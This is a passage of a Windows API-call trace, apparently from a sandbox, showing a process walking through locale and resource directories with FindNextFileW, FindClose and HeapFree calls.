	[0170.119] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0170.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.198] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0170.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.208] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0170.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.401] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0170.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.445] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0170.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.460] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0170.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.604] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0170.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.604] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0170.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.605] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0170.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.605] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0170.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.605] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0170.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.605] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0170.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.606] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0170.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.606] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0170.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.606] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0170.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.606] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0170.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.606] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0170.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.607] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0170.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.607] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0170.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.607] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0170.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.607] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0170.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.610] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0170.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.611] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0170.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.611] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0170.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.611] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0170.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.611] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0170.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.611] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0170.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.612] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0170.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.612] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0170.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.612] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0170.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.612] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0170.612] FindClose (in: hFindFile=0x394b778 | out: hFindFile=0x394b778) returned 1
	[0170.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.612] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0
	[0170.612] FindClose (in: hFindFile=0x394bab8 | out: hFindFile=0x394bab8) returned 1
	[0170.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0170.613] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0170.613] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0170.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.615] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1
	[0170.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.616] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0170.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.619] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0170.619] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0170.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.619] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0170.619] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0170.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.619] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0170.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
